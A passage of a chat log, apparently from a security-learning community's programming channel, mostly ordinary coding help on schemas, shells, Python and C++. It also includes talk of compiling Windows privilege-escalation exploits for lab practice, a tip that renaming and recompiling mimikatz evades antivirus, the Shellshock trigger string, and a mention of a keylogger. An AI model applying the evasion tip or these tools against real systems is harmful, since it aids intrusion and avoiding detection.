BNF3 should be the goal, to have minimal columns in each table

[cursive orchid]

oh god i remember this topic in school

[magic falcon]

I would probably have a table to track each exam, with fields id_candidate , id_assessor, exam_start

probably fields for an exam ID and result as well

[cursive orchid]

yeah i haven't even factored in the whole "assessor gets control over x students" bit yet but i will need to in the future

[brazen eagle]

this probably

[magic falcon]

@cursive orchid You are going to find that re-architecting the schema on the fly is going to be super horrible. Waterfall the hell out of your planning before you start writing code - do use-cases first so you can design the data model before implementation.

[plain path]

Is there any way to make a python virtual environment stick globally? like if I would go into a virtualenv, close the terminal then open it again, it would still be there etc.

not having to source /bin/activate everytime

for every terminal window..

[tulip sail]

Stick it in your bashrc

[solar hull]

Sounds like a minor insult 🙂

[cursive orchid]

yeah i guess i'll do that, i think i have what i need for a basic version of the app now

not sure if this works; an assessor has many candidates, and a candidate has many challenges

(the challenges in the user model is a backref)

i can add in extra fields to a model in the future, but as long as all the relationships are there then i think it's good

[magic falcon]

Draw an ER diagram, a class diagram like that won't show the relationships you'll need to build

[cursive orchid]

ah okay i'll get around to that soon

[magic falcon]

https://en.wikipedia.org/wiki/Entity–relationship_model

[brazen eagle]

Diagraming things out is usually helpful

[plain path]

nice ty

[wispy kestrel]

Gave +1 Rep to @tulip sail

[plain path]

Nothing can ever be simple in life it seems

haha

I ll try fixing the shout thing

weird thing this is the vanilla kali bashrc file

is anyone elses broken?

[true pumice]

Are you on zsh @plain path

[plain path]

gnome-terminal

isnt that a wrapper around zsh

[true pumice]

It is

[plain path]

Yea

[true pumice]

Bash doesn't work on zsh

it should be ~/.zshrc

[plain path]

oh, there it is. thank you @true pumice

[wispy kestrel]

Gave +1 Rep to @true pumice

[plain path]

I remember googling "bash vs zsh" and google telling me they are pretty much the same except zsh is more extensible...
So now that im digging into it again, anyone has any recommended zsh plugins/extensions? imma try em out

[lilac holly]

I'm using syntax highlighting / autocompletions and auto suggestions from the zsh users github repository

Those are the most common I guess

[tulip ibex]

hey guys had a qs in html

if there is one text after 4 sec it will slide to another line..so if the first line shows hi test 123 then it will just get off and the other will come test 1234 but not slide

like in the throwback page

you have this right? but without the arrows and it getting off itself after a interval

[onyx merlin]

It's called a carousel

[tulip ibex]

oh didnt know that thanks

[plain path]

I'm not sure if this goes into this channel or infosec-general, but its mostly about debugging and compiling so I think this is the right one

I am trying to become self-sufficient when it comes to compiling exploits for windows, or enumeration tools such as Watson

However a lot of the time I ran into compilation errors, and googling them / debugging it seems nigh impossible

Is there some sort of guide that I didnt manage to find about compiling exploits in Visual Studio?
I know how to cross-compile with mingw, that stuff is easy, but say I need to compile
https://github.com/ohpe/juicy-potato written in C++
The compiler just kinda shits itself, throws a dozen errors and I don't even know where to start. I mean if other people are able to clone the repo and compile it for themselves, I should be able to as well, not really sure where i'm going astray. Clearly the source code is fine if it hasnt been updated in ages and people are still using it today.

I can read C/C++ and understand it on a surface level, but im not an expert

[onyx merlin]

There's an sln file, are you using visual studio?

[plain path]

Yes there is, and yes I am

im gonna take some general visual studio guide and then hopefully translate that to exploit compilation, any advice is genuinely appreciated

I think I will have more issues compiling the older exploits though

juicy potato is still relatively recently coded

im doing the HTB oscp-prep trophy list and lots of the windows machines are old windows versions vulnerable to all sorts of kernel exploits or impersonate exploits that are exploined through .exe binaries so yea

[onyx merlin]

Yeah it's worth getting the env working because the releases will probably be flagged by AV with simple signatures

[plain path]

yeah I ll come back to this in the evening, gotta catch some zzz's

[onyx merlin]

There's a tweet from Gentilkiwi or something that's effectively "s/mimikatz/ninikatz" and recompile and it is detected much less

[plain path]

Yeah I bet

[stoic badger]

Is there a big difference in learning C versus C++? All I know is that C++ supports OOP. My goal in diving a bit deeper into C/C++ is just being able to understand what happens at the lower-level a bit better, so I don't know if I should be looking at one over the other, or if it even matters at all.

[magic falcon]

Modern C++ is a superset of 4 distinct programming languages

C, C++ STL, C++ Variadic Metaprogramming (or, programmer defined templates), and the basic C++ language.

And, you can do OOP in C but it involves header trickery.

Understanding low level stuff really isn't the purview of C/C++ - if you want low level understanding, ASM and disassembly are where you should be focusing.

[lilac holly]

With C or C++ you can get familiar with memory allocation. Having a grasp on that, assembly is a good next step @stoic badger

Pointers, bit manipulation, registers

[stoic badger]

I guess I misspoke then, I was looking to learn the memory allocation and pointer stuff first before diving into ASM

But thanks!

Any resources that you guys would recommend? I have a few that I’ve found but haven’t really gone through, just wanted to hear from others

[magic falcon]

Effective C++ is a good read, as is the C++ Primer

I got good value out of Walls & Mirrors, but I know other programmers who did not like it.

[stoic badger]

Cool cool

[lilac holly]

The cs50 lectures are nice for a start

[dry plank]

Can anyone help me ?

I'm wanting to make a little python script to check and compare the contents of two folders and all the files inside. Cycle through folder structure based on Folder A Compare every file from Folder A with Folder B If the file doesn't exist or the contents is NOT 100% identical then to COPY the file to Folder C but in the same folder structure as Folder A Could anyone advise on how to do such a feat?

using python

[onyx merlin]

Hashing would be a good bet

[dry plank]

Bro can you please help with the code?

[onyx merlin]

Please don't call me bro, and no.

[dry plank]

Sorry!!

It's Okay No problem

[lilac holly]

Its focus is on computer science so it will not stay specific to C. https://www.youtube.com/watch?v=YoXxevp1WRQ&list=PLhQjrBD2T382_R182iC2gNZI9HzWFMC_8 @stoic badger

Debugging, memory, and breaking down components are nice tho. Idk how familiar you are with it all

[stoic badger]

I mean, I took an Operating Systems class last semester, so I get a decent amount of the concepts at a high level, but putting them into practice has gone over my head.

I could tell you what the issue in the producer-consumer problem is, I could not write the code to describe the problem or even write out the solution.

[lilac holly]

Alright then, I do think it is a good start

[cursive orchid]

an assessor is creating a candidate:

if form.validate_on_submit():
    hashed_password = bcrypt.generate_password_hash(form.password.data).decode("utf-8")

    user = User(
        username=form.username.data.lower(),
        password=hashed_password,
        access="candidate"
    )

        # assessor_candidate = AssessorCandidate(
        #       assessor_id=current_user.id
        #       candidate_id=REPLACE_ME
        # )

    log = Log(message="fill me in")

    db.session.add_all([user, log])
    db.session.commit()

but i also need to add this to another table AssessorCandidate which keeps track of what candidates an assessor has, this table has assessor_id and candidate_id.

in the above code, i need the ID of the newly created user, but i can't access its auto incremented ID until it has been committed to the database

i hope that makes sense

my question is, do i db.session.commit() the user and then create the assessor_candidate object and then commit that?

seems weird to have to commit twice in one function

[vale glade]

Can anyone explaing to me how this code works? const plaintext = ciphertext.map((x, i) => ((i * i) % 256) ^ x ^ 0x99)

given that cipher text is an array of numbers like ciphertext = [234, 240, 234]

[magic falcon]

What language is that?

[warped axle]

I think thats.. python??

[solar hull]

it most definitely is not, python does not have const keyword.

[crude chasm]

Its javascript

It runs the function (x, i) => ((i * i) % 256) ^ x ^ 0x99 on each element in the array, which is some bit operations i dont have the energy to understand 😄

^ = XOR i know that atleast 🙂

[brazen eagle]

% is modulo, the rest you should already know

I suppose I is an index?

[tawdry fog]

It's JS

[plain path]

part 2 of me trying to become self-sufficient in compiling exploit binaries

I wanna get watson to run on my machine as a start for example

im on win10 atm

I targeted framework 4.8

I get this

Is this because the code doesnt work for .NET 4.8? I cannot see any other way this issue could be caused

some kind of syntax difference in C# dicts, right

[robust jetty]

I'm assuming that's part of the Watson core library, not your code?

[plain path]

Yep

A broad question:

Whats the deal with .NET backwards compatibility?

Say I enumerate a machine has 2.0, 3.5, and 4.0 .NET installed.
Now by default it is good practice to target the highest version installed for obvious reasons, but if I ran a binary thats meant for 3.5, it should still work, no?

[robust jetty]

Can you post your startup.cs

[plain path]

just switched back to kali but I will go back to it eventually

I appreciate your interest to help

[robust jetty]

DM me, I can help Monday

[plain path]

added

thx

a lot

[robust jetty]

DotNet incorporates break changes at every major upgrade so you need to match the version to the code. It's really more of an art than a science.

[plain path]

by "break changes" you mean changes that break the code?

or does that mean something else haha

[void vigil]

hello, please whats the REGEX pattern to match this sequence? -0,2*-3+7,-11,33/-11*-5,-12/6,19,77,1-2+3-4+

[tulip sail]

Depends what you're trying to match

The whole thing?

And if so, in what surrounding text?

[void vigil]

so i was able to come up with this expression : (\s?("[\w\s]*"|\d*)\s?(,|$)){16}
but it is still not exactly correct because the regex expression should be able to match only a sequence that is separated by a comma. For example,

22+11, (there is a comma after the first sequence element, but the second element is missing, so this should not match)

10,1+2+3,-20 (the sequence has three valid elements separated by commas, so this should be valid)

[tulip sail]

That didn't answer either of my questions 😆

What are you trying to match exactly?

[void vigil]

i am solving a regex HW to develop an expression to match a bunch of sequences, they more or less arithmetical expressions.

[void vigil]

yeah

[tulip sail]

We can't really help with homework I'm afraid -- it will have been set for a reason, and the answers should be in the coursework :)

[void vigil]

its my home work, from a project im working on not a school home work

[tulip sail]

You set yourself homework?

[void vigil]

why not?

[tulip sail]

Most people wouldn't refer to that as "homework"

[jaunty moon]

Can somebody teach me programming from beginning?

[naive tartan]

https://www.w3schools.com/

[tidal panther]

https://www.edx.org/course/introduction-computer-science-harvardx-cs50x

[jaunty moon]

thanks @naive tartan and @tidal panther

[wispy kestrel]

Gave +1 Rep to @naive tartan

[iron snow]

hello friends i'm new to this community, and i want to learn hacking, but i need a mentor who can help me learn

what steps should i do

[naive tartan]

in a bash script how would i write the contents of one file to another file

copy the contents i mean

i was thinking cat the file and | tee into another file but that didnt work

[naive tartan]

i mean even after hours of googling this is what i got so far and it still wont work ```#!/bin/bash

for file in /etc/bandit_pass/; do cat bandit24 >> /tmp/two/far.txt

done

[naive tartan]

dont see how this one could be wrong but it aint working

[solar hull]

try adding a wildcard in for after the directory name.

seems also like you're not using the file name from for loop for anything.

Oh, you're just trying to copy a single file?

[naive tartan]

yeah the contents of a single file, to the tmp directory

i know the name of the file i just dont have access to read it, but i have access to it via a bash script. so i need to make a script that copies the contents of said file, to the tmp directory

ugh i got it, i was way over complicating it.......

[remote echo]

Can't u just cp filename /tmp/ @naive tartan ?

No need to complicate it

[remote echo]

cp /etc/bandit_pass/bandit24 /tmp/two/far.txt ?

[hearty imp]

@fading lark this is for the keylogger tool, its a simple keylogger written in python (VS ide)

[fading lark]

Ahhh.. that's pretty clever

good job

[tulip sail]

And why would you need something like that..?

[hearty imp]

for eductional purposes ofc

[tulip sail]

Uh huh, I'm sure.
Considering the ineffectiveness of that, I'll believe you.

[hearty imp]

its not even effective.

dont worry @tulip sail

[midnight cliff]

Trying to write a c/c++ program which runs system commands. I am stuck in trying to implement directory change feature. Below is the code I have written which fails to perform directory change. The code is not giving any errors for the chdir() function. But is still failing to change directory. Can anyone tell where I am going wrong please.

	char cmd[1024];
	cout << "cmd:";
	
	fgets(cmd,sizeof(cmd),stdin);
	cout << endl;
	const char *path = strchr(cmd,' '); //converts cd /path to  /path
	cout << path;
	if(chdir(path)!=0)
	{
		perror("chdir() to /error failed");
	}

[hollow tangle]

It's because 1. strchr is looking for a space as a token so it's trying to change directory to <SPACE>/path not /path and 2. fgets consumes a newline which means that you will try to change directory to <SPACE>/path<NEWLINE> which also doesn't exist

[midnight cliff]

Thanks a lot for the help, I fixed it with the below code. It works now

[wispy kestrel]

Gave +1 Rep to @hollow tangle

[midnight cliff]

char cmd[1024];
    int i,j;
    
    cout << "cmd:";
    fgets(cmd,sizeof(cmd),stdin);
    cmd[strcspn(cmd,"\n")] = 0;
    
    for(i=0;i<=2;i++)
    {
        for(j=0;j<=strlen(cmd)-1;j++)
        {
            cmd[j] = cmd[j+1];
        }
    }
    const char *path = cmd;
    cout << path;
    chdir(path);

[solar hull]

Please enclose your code in triple backticks (3x `), it'll make it easier to read.

[brazen eagle]

```optional-language
Code go here
```

[nimble sail]

So, I posted this in room help, but I figured my best chance at getting a good explanation would be to post it here too:

Ok, so I was doing the Intro to x86-64 room and I finished the room, but I have a question about the last task. I figured out the answer based on the hint the room gives, but i was wondering if anyone could explain how im actually supposed to figure out the answer? I tried going through the assembly step by step, but i just dont understand whats happening well enough.
Room Link: https://tryhackme.com/room/introtox8664

[plain path]

iirc theres a string in memory that you can test, and comparing the hex values before and after that string runs through a function will show the hex values being reversed in order

Episode 3 of me trying to compile my own exploit binaries

needless to say the compiler completely shit itself when tryin compile Watson for .NET 2.0

and I dont have the nerve to install x years old VS version and tryin debug this

if someone has a compiled binary, hit me up fam

compiled watson binary for net 2.0 specifically, I mean

[brazen eagle]

Please don't spam everywhere

[slim pelican]

wutya tryna learn 👀

[sharp scaffold]

Any thoughts on Codecademy? I want to improve my bash scripting & learn Python. 40% off but still pricey; I did buy a Python Humble Bundle so wonder if it's redundant.

[dull tangle]

codecademy is good if you can afford to drop money on the subscription but the stuff it teaches is freely available on youtube tutorials or other publicly available blogs/documentation/books etc

[nimble sail]

Someone help me out here, redare2 dosent wanna recognize my shellcode? I could very well be doing something wrong, but i honestly dont know, if more info is needed to figure out whats happening, please ping me and ask for whatever info you need

Piping the exact same code directly to the target program gives the intended segmentation fault

but when i run it in radare, it just ditches my shellcode and replaces it and anything after it with a j

[solar hull]

@grave salmon ^

[grave salmon]

no need to mention I'm going through them

[solar hull]

ack.

[plain path]

I'm ass cheeks at bash scripting
Im tryin understand the shellshock syntax and what causes it but no vid/article I found actually explains the syntax

someone care to elaborate for me please the () { :; }; trick?

is it an empty function in local scope?

[plain path]

If the $40 a month isnt a big deal, I would definitely recommend it

ESPECIALLY if you are just starting to code

or learning a language thats using a paradigm you arent familiar with

its a high quality mix of hand-holding and open ended exercises

when I learned to code, I started with their webdev path, learned html/css/js and picked it up from there

if u can already code in a couple langauges, I'd say its not worth it at that point and you are better off just learning on your own

[sharp scaffold]

Thanks. Yeah I kind of don't mind investing in education so long as it's good value. I'm well across HTML but I've had a lot of false starts with Python so need a bit of a kick along to progress past basics and start doing something serious.

[wispy kestrel]

Gave +1 Rep to @plain path

[plain path]

the best way to learn to code isnt to learn coding just for the sake of learning to code

as soon as you have the utmost basics

pick a project or a problem

and try to solve it given the toolset you re trying to leanr

[sharp scaffold]

good advice. That's what's motivated me to learn in the past (needing to create a website, and later making websites for work; bash scripting for various tasks) and has been an obstacle to learning recently as I often find coding projects a bit boring. However now I have a purpose (CCNA) as Python is a popular tool for automation of many tasks/configuration and now a required skill.

[small fog]

who uses unity

i need help

[nimble sail]

Ask your question and if someone can help you they will

[fickle siren]

I dislike codecademy because it's puzzle based rather than project based. FreeCodeCamp is better for thst and free. Try exercism and hackerank for practice.

[magic falcon]

codewars is a good place to be for short problems to solve

[sharp scaffold]

thanks Sleepy, I'll check them out. I'm not a fan of puzzles (weirdly, because I do like troubleshooting; maybe because this sort of puzzle usually feels artificially 'tricky'?) - projects are much more my thing.

[wispy kestrel]

Gave +1 Rep to @fickle siren

[fickle siren]

Oh! Runcode ninja is also good especially for cybersec as it's challenges usually involve automating enumeration and various cybersec stuff

[fickle siren]

Projects also give you something to show off

[sharp scaffold]

good point. Build out my portfolio on GitHub.

[fickle siren]

Nvm about runcode ninja rn. The site is down for maintenance. I'll have to ask the owner about that.

[sharp scaffold]

Exercism looks like it fits the bill perfectly.

[lilac holly]

hello

wts wrong with this socket

#!/bin/python3
import sockets
HOST= "127.0.0.1"
PORT=7777
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))

[faint sparrow]

@lilac holly you have a typo in the import, it's socket, not sockers

[lilac holly]

also this is an error

Traceback (most recent call last):
File "/home/bara/Desktop/socket.py", line 2, in <module>
import socket
File "/home/bara/Desktop/socket.py", line 5, in <module>
s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)
AttributeError: partially initialized module 'socket' has no attribute 'AF_INET' (most likely due to a circular import)

[faint sparrow]

rename your file

it can't be named socket

[lilac holly]

same error

[magic falcon]

if you have any top level object, class or variable named 'Socket' or 'socket', that should also be renamed.

[lilac holly]

no any class or variable in my code now

[faint sparrow]

if your file is not named socket.py, and the import says import socket then the error should be different

[lilac holly]

wts wrong with my code

import sys
import socket
from datetime import datetime
#define out target
if len(sys.argv)==2:
    target=socket.gethostbyname((sys.argv[1])) #translate hostname to ipv4

else:
    print("Invalid amount of arguments.")
    print("Syntax :python 3 scanner.py")
#Add a pretty banner
print("-"*50)
print("scanning target"+target)
print ("time started "+str(datetime.now()))
print("-" * 50)
try :
    for port in range(1,65535):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

        socket.setdefaulttimeout(1)
        result=s.connect_ex((target,port))#returns an error indicator
        if result==0 :
            print("Port {} is open".format(port))
        s.close()
except KeyboardInterrupt:
    print("\nExiting program.")
    sys.exit()
except socket.gainerror:
    print("Hostname could not be resolved")
    sys.exit()
except socket.error:
     print(("couldn`t connect to server"))
     sys.exit()

[hazy flax]

Your code works find when I run it. What issue are you having? I did notice that is it picking up the second IP address assigned if a device like mine has many. Just to let you know.

[remote echo]

Szy already told him

[neat ocean]

why does this return an index out of range error: path.split('/')[1]
but this doesn't: path.split('/')[-1]

I'm just splitting a list that contains two values and then printing the second value in the list.

[magic falcon]

Have you validated your inputs?

[crystal light]

Check what output the path.split() gives by giving a variable its value and doing print(type(var))

[coarse yew]

Hey all

What resource were you guys talking about coding/programing instructionals?

[cursive orchid]

the fact that there's an align-self for a flex container, but not a justify-self is crazy

[leaden berry]

[1] takes the 2nd element whereas [-1] takes the last one in the list, so if your list has one element, getting the 2nd element fails but getting the last element in the list (of one element) gives you the only one there

[neat ocean]

It just weird because a split a string with the delimiter "/". The list then comprises of [ 'this string' , '2nd string'] If I set the value to 0 it prints "this string". If I set the value to 1 I get an error. If I set the value to -1 I get "2nd string". I just don't understand why it errors out.

[remote crag]

would you mind sharing a code snippet showing what you're doing?

if possible, maybe include how you got the path variable and what you're doing with it

[leaden berry]

stuff = ['this string', '2nd string']
print(stuff[0])
# prints: this string

stuff = ['this string', '2nd string']
print(stuff[1])
# prints the element at index position 1: 2nd string

stuff = ['this string', '2nd string']
print(stuff[-1])
# prints the last element: 2nd string

if you're saying that you get an index out of range error if you try to get [1], then I bet your list isn't above one element afterall

try to print(pth.split('/')) just above the line

[neat ocean]

@leaden berry @remote crag
`import os
import sys

for (path, dirs, files) in os.walk(sys.argv[1]):
depth= len(path.split('/'))
print path.split('/')
print '-'(depth4+8) + path.split('/')[1]
for line in files:
print '-'(depth4+12) + line`

Here is what I was doing

[neat ocean]

I was printing it out and it was returning a list containing two values

[remote crag]

i'm reading the documentation of the os.walk() function

maybe show us the output of the code? if it does return two values, it's weird that the code doesn't work

just in case, show the error you got also

[neat ocean]

I'm an idiot

The code is always going to have the first loop return one value since it is the first directory

I wasn't paying attention to the output of the program

Sorry!!!

[remote crag]

^ how i feel in a nutshell when i make small mistakes and overlook them long enough

[neat ocean]

Thank you for helping me realize though!

[wispy kestrel]

Gave +1 Rep to @remote crag

[neat ocean]

It's a long day by the time i get to look at this stuff, so it gets a bit messy

[remote crag]

thanks for the rep haha

glad things worked out for you

[neat ocean]

Least I could do

[magic falcon]

So your code isn't returning anything until exit - it's printing values, return is something very different than what you said you think the code is doing. Please don't conflate return with print

[placid goblet]

This is a snippet of the code

    
    const params = {
      username: state.email,
      password: getRandomString(30),
      attributes: {
        name: state.fullName
      }

    };
    await Auth.signUp(params);

    formState = 'signedUp';
  }; ```

Error: Unhandled Rejection (AuthError): Username cannot be empty

For more info:

    return (
      <div>
        <input
          name="username"
          onChange={onChange}
        />
        <button onClick={() => signUp()}>Sign Up</button>
      </div>
    )
  } ```

Anyone could you please help me to solve this error. It's ReactJS

[wraith tulip]

I have a question about python program terminate design. What is a good way to terminate a program when error are found.

I have a class like below:```class Spider:
def init(self, program_tag, logger_name = ""):
if logger_name == "":
logger_name = program_tag
self.logger = Init_Logger.init_logger(logger_name = logger_name)
self.driver = self.__init_driver(program_tag)

def open_new_window(self):
    try:
        self.driver.execute_script("window.open('');")
        self.logger.debug("Opened new window")
    except Exception as e:
        self.logger.error("Failed to open new window: {}".format(str(e)))```

If I have another script calling the function and the function fails, I cannot try catch the issue in the script to trigger the terminate process.

[leaden berry]

@wraith tulip exit(1)

Or another non-zero exit code you like

[wraith tulip]

Does it quit the main flow?

[wraith tulip]

And I though exit() is mainly used in interactive mode but not in actual scripts

[true pumice]

You could manually raise an exception?

print("test")

try:
        print(var)
except:
        print("testing")

        raise ValueError('Insert error message here')

I don't know if that's what you want

[leaden berry]

Isn't that what you wanted?

[wraith tulip]

I want the error captured in the main program flow and then trigger a followup action

[leaden berry]

Ah don't exit then, no

Catch the correct exception and not just "Exception"

Then raise a new one when caught

[wraith tulip]

But is it a good pratice to try catch in main program flow?

[leaden berry]

Can exceptions be avoided entirely?

If not, sure

[wraith tulip]

Good point, I think I will go with this way

[leaden berry]

E.g. Don't try/except getting an element from a list

But do try/except writing a file to a disk (which might be full!)

If you don't have control of the reasons something could fail by all means handle the situation where needed

If you are going academic style and writing an API, consider the contracts between the API and the user

Who has the responsibility of fixing the problem? The API or the user using it?

[wraith tulip]

Thanks for the idea

[magic falcon]

It's considered bad form to have the function call exit(1) - the calling function (not the callee) should appropriately handle the exception and determine correct behavior.

[leaden berry]

I read the question as what should be done in the event that there is nothing else that could be done but that's the only situation where a program should exit hard with an error code

[magic falcon]

I read it as 'this is a module that gets called from elsewhere' - best practices across most languages are to throw and handle exceptions from the module, and pass the buck for the controlling program to determine exit or recovery behavior.

[marble shale]

help

[leaden berry]

Yeah that's what we discussed after, also 😄

[leaden berry]

What's up?

[marble shale]

Making bot

[leaden berry]

Sounds fun

[marble shale]

using autocode

[marble shale]

Can you help

[leaden berry]

No sorry I don't do personal mentoring, but if you post your problem in here perhaps I can help or somebody else might be able to

[placid goblet]

Anyone could you please help me by solving this issue

[marble shale]

Autocode or something else

[half grove]

does anyone want to help me with a python problem?

[true pumice]

Don't ask to ask, just ask 🙂

[half grove]

how to make a function that deletes duplicate items from a list then return both lists

in python

[magic falcon]

this sounds like homework

[half grove]

well

kinda is

but i just cant understand how tf am i suppose to do that

[magic falcon]

Your best bet is to ask your instructor.

[half grove]

my shcool dont work like that

:/

[tulip sail]

Then it isn't a school 😆

The whole point of a school is to teach. If there are no teachers, or the "teachers" are unwilling to teach, then it ain't a school

[half grove]

Bc it isn’t

[tulip sail]

👀

[half grove]

👀

[true pumice]

https://tenor.com/view/awkward-umm-what-what-gif-14694719

[leaden berry]

I'll give you a tip:

do not use a list

and another one: google "python data structures"

GLHF 😄

[dusty ore]

Hi guys

I don't really understand this

When I try to print verb it prints <function say at 0x7f66124619d0>

I'm kinda stupid now, im sorry

I suppose verb is now the say function?

So how did the program turn verb to a say function with verb_dict[verb_word]?

Oh I get it

Asked my duck, he answered my question. Sorry for bothering you guys

[true pumice]

@dusty ore I need the full code, please

[remote crag]

i think they figured it out?

[true pumice]

Oh, whoops

[dusty ore]

Thanks, but i've already found the answer to my question ^^

[wispy kestrel]

Gave +1 Rep to @true pumice

[dusty ore]

I'm trying to understand a code from sololearn in oop section

But I don't understand what the 8th line does

Do you have any idea?
Here's the full code:

class GameObject:
  class_name = ""
  desc = ""
  objects = {}

  def __init__(self, name):
    self.name = name
    GameObject.objects[self.class_name] = self

  def get_desc(self):
    return self.class_name + "\n" + self.desc

class Goblin(GameObject):
  class_name = "goblin"
  desc = "A foul creature"

goblin = Goblin("Gobbly")

def examine(noun):
  if noun in GameObject.objects:
    return GameObject.objects[noun].get_desc()
  else:
    return "There is no {} here.".format(noun)

def get_input():
  command = input(": ").split()
  verb_word = command[0]
  if verb_word in verb_dict:
    verb = verb_dict[verb_word]
  else:
    print("Unknown verb {}". format(verb_word))
    return

  if len(command) >= 2:
    noun_word = command[1]
    print (verb(noun_word))
  else:
    print(verb("nothing"))

def say(noun):
  return 'You said "{}"'.format(noun)

verb_dict = {
  "say": say,
  "examine": examine,
}
while True:
  get_input()

If the image is blurry

[onyx merlin]

verb_dict is going to be defined somewhere

[dusty ore]

in line 43

[onyx merlin]

So that dictionary is string:function

[dusty ore]

Yes

[onyx merlin]

So it looks up the string to get a function.

Functions can be treated as variables. It's a functional programming technique

[dusty ore]

Ye I understand that, the one I dont understand is in line 8th

OOP is kinda hard...

[onyx merlin]

Python is not a great OOP language

[dusty ore]

I see..

So should I skip OOP section in python now?

And learn oop again when I have sometimes looking at low level programming language like C?

I'm stuck in OOP for days now

Anyway, thanks for your help James! Appreciate it ^^

[onyx merlin]

No!

C is not oop

[dusty ore]

oh okay my bad sorry

[dusty ore]

May I ask what the 4th line is for?

[magic falcon]

C can be OOP, but it involves trickery with headers. Not a beginner technique and convoluted... but it can be done

[onyx merlin]

But it's not OOP tho

That's what objective c is for, no?

[magic falcon]

That is not what objective-C is for

objective-C is for Apple to make super sketch design decisions for a proprietary C-like language

[onyx merlin]

which includes adding objects

Either way, C OOP is a no go.

[magic falcon]

Right, but it's not as an addition to C

I've written OOP in C. Structs are pretty close to objects; throw in where additional headers get included, and you can create public, private, protected fields and function pointers as part of the struct

[magic falcon]

Back to your problem.... Do you know the basic Python data structures?

[dusty ore]

I don't know...

I just learned whatever it's listed in sololearn

Like these are what I've learned

[true pumice]

Python is never taught right from my experience.

[dusty ore]

in sololearn?

[true pumice]

In general

[dusty ore]

Oh

[magic falcon]

You should be try to be familiar with Arrays, Lists, Sequences, Dictionaries, Sets

Data structure choice is often the determining point of success or failure for a program

[dusty ore]

I know them, but I dont know whether I can use them

[magic falcon]

If you know them, then your question about line 4 is already answered.

[dusty ore]

if im not wrong objects = {} is a dict right?

Guess im wrong, it's an object perhaps

[magic falcon]

don't be fooled by the variable name

and if you are unsure, you can always refer to the original docs, and look at the context of how it is used

[dusty ore]

Ye, but I don't know what to google for this...

That's why I asked

Can you give me a hint on what I should google?

[magic falcon]

https://docs.python.org/3.10/index.html

Everything you need to know about python is there

[dusty ore]

Okay thanks

Thanks for your help, I'll give it a look

[magic falcon]

Don't be afraid to ask for more help, but keep in mind that we may just point you in a direction (like this) without telling you the answer directly

[dusty ore]

I see

May take me quite a while to fully understand the code

[magic falcon]

I usually talk to myself when I'm doing code review. Something about walking through my thought process that way helps me understand.

[dusty ore]

Ah yes I did the same, and have been doing that for 2 hours now but still can't understand the code

But sometimes, it works

oh damn, reading the docs helps me a bit

never thought the docs would be this useful

[brazen eagle]

That's what the docs are for

[cold cloak]

Anybody here good with C++20 I have a problem I don't think stack overflow can solve ?

[hollow tangle]

What's the question?

[cold cloak]

Okay, so in an object I have a map
std::map<std::string, std::function<void()>> Commands;
This is to store ["functionName" ] = function.
My RegisterCommand function is
void RegisterCommand(std::string name, std::function<void()> func);

and I call it as follows:
cmdHandler.RegisterCommand(UPLOAD_CMD, std::bind(&Agent::upload, agent));

then later in the code (in a while loop) I call a functiion called ExecuteCommand (if the correct conditions are met)

    if (HasCommand(name)) {
        Commands[name]();
    }
}```
now this works fine, `Agent::upload` is called, when it should(as are the other functions). However I can't seem to figure out how I am supposed to pass arguments to the `Commands[name]();`

I've tried passing the arguments to ExecuteCommand like:
```void Command::ExecuteCommand(std::string name, std::vector<std::string> args) {
    if (HasCommand(name)) {
        Commands[name](args);
    }
}```

but it shits itself

I'm new to c++ 😆

[lilac holly]

im trying to install a tool called snoopy-ng https://github.com/sensepost/snoopy-ng however i get a bunch of errors running the install.sh script

(Package python-dev is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
python2 python2-dev python-dev-is-python3

W: --force-yes is deprecated, use one of the options starting with --allow instead.
E: Unable to locate package python-psutil
E: Unable to locate package python-serial
E: Unable to locate package python-requests
E: Unable to locate package python-bluez
E: Unable to locate package python-flask
E: Package 'python-gps' has no installation candidate
E: Unable to locate package python-dateutil
E: Package 'python-dev' has no installation candidate
E: Unable to locate package pyrit)

i am running kali 2021.2 if that helps

[hollow tangle]

So you want each function to take std::vector<std::string> as arguments?

[cold cloak]

Yes, but I've actually just managed to get it working

Thanks though ❤️

[hollow tangle]

Oh okay lol

[hollow tangle]

Just some advice but for your ExecuteCommand method it would be better to pass a const reference to args I can't remember if passing a vec of objects will cause an allocation along with that if you mark it as const then LLVM will have a better time optimizing it

void Command::ExecuteCommand(std::string name, std::vector<std::string>const& args) {
    if (HasCommand(name)) {
        Commands[name](args);
    }
}

Another thing is with maps if a key isn't found and dereferenced then it is technically undefined behavior you can do something like

void Command::ExecuteCommand(std::string name, std::vector<std::string>const& args) {
  Commands.at(name)(args);
}

Which will throw an exception if the key isn't found

@cold cloak

#include <iostream>
#include <vector>
#include <map>
#include <functional>

void callback() {
  std::cout << "Ran" << std::endl;
}

int main() {
  std::map<std::string, std::function<void()>> foo;

  foo["callback"] = callback;

  try {
    foo.at("notcallback")();
  } catch (const std::out_of_range& err) {
    std::cerr << "Function not found" << std::endl;
  }

}

Well dereferencing a map using square brackets isn't ub but it will cause a key to be inserted if that key isn't found

[cold cloak]

Oh, that's interesting, I better change some things around 😆

I'm assuming the correct way to insert is Commands.insert();

I'm too used to PHP 😆

[hollow tangle]

You can use .insert() if you want vs [] it's preference

[cold cloak]

Ahh okay, insert look better so I’ll use that

[hollow tangle]

One last thing (sorry to be so critical lol) but since you're using C++20 you might as well use it
Under the hood C++ will use a lot of memory allocations sometimes not necessary especially with std::string to solve this C++17 introduced std::string_view this allows for better conversions of C++ strings, C-strings, string literals without allocations

#include <iostream>
#include <string_view>

void callback_stringview(std::string_view arg) {
  std::cout << arg << std::endl;
}

void callback_string(std::string arg) {
  std::cout << arg << std::endl;
}

int main() {
  std::string foo = "Hello World";

  callback_stringview(foo); // No allocation
  callback_stringview(foo.c_str()); // No allocation
  callback_stringview("string literal"); // No allocation

  callback_string(foo); // No allocation
  callback_string(foo.c_str()); // Will cause an unnecessary std::string allocation
  callback_string("string literal"); // Will cause an unnecessary std::string allocation
}

it's typically better to use std::string_view as a parameter when dealing with strings if that string is const and doesn't require manipulation

If you do have to manipulate the string parameter in a function then just pass a std::string as an argument no need to take a string_view and then convert it to a string but for your example

void Command::ExecuteCommand(std::string name, std::vector<std::string>const& args) {
  Commands.at(name)(args);
}

can become

void Command::ExecuteCommand(std::string_view name, std::vector<std::string>const& args) {
